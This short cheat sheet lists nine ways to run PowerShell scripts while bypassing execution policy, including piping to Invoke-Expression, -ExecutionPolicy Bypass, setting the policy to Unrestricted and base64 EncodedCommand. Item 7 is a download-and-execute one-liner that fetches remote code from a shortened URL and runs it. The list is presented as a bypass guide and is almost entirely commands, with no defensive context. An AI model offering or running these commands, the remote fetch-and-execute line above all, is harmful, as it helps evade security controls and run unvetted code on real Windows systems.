1º Just copy and paste inside the interactive PS console
2º Read en Exec
Get-Content .runme.ps1 | PowerShell.exe -noprofile -
3º Read and Exec
Get-Content .runme.ps1 | Invoke-Expression
4º Use other execution policy
PowerShell.exe -ExecutionPolicy Bypass -File .runme.ps1
5º Change users execution policy
Set-Executionpolicy -Scope CurrentUser -ExecutionPolicy UnRestricted
6º Change execution policy for this session
Set-ExecutionPolicy Bypass -Scope Process
7º Download and execute:
powershell -nop -c "iex(New-Object Net.WebClient).DownloadString('http://bit.ly/1kEgbuH')"
8º Use command switch
Powershell -command "Write-Host 'My voice is my passport, verify me.'"
9º Use EncodeCommand
$command = "Write-Host 'My voice is my passport, verify me.'" $bytes = [System.Text.Encoding]::Unicode.GetBytes($command) $encodedCommand = [Convert]::ToBase64String($bytes) powershell.exe -EncodedCommand $encodedCommand
